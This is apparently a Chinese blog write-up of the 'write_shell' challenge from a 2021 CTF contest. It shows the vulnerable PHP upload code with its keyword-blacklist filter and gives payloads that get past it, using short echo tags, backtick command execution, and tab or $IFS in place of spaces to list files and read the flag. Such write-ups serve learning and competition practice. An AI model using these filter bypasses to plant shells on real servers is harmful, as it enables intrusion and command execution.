红明谷杯数据安全大赛

原创

b1ue0cean 于 2021-04-04 19:55:27 发布 154 收藏

分类专栏： CTF 文章标签： 安全

本文链接：https://blog.csdn.net/qq_53755216/article/details/115394690

write_shell

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>
```

看名字就知道 应该write shell
file_put_contents 为危险函数 可以往 $dir 中写文件
绕过姿势

```
<?php  ?>
<?=      ?>
<?        ?>  //不一定可以用
```

```
<?=`ls%09/`?>
```

可以用$IFS绕过空格
之后 再

```
cat\$IFS/!whatyouwantgggggggg401.ph*?
```

总结：
发现 ls命令 可以用 *hp 找到文件 但是cat就不行 不过可以把 星放在后面
要善于发现危险函数 对症下药

JavaWeb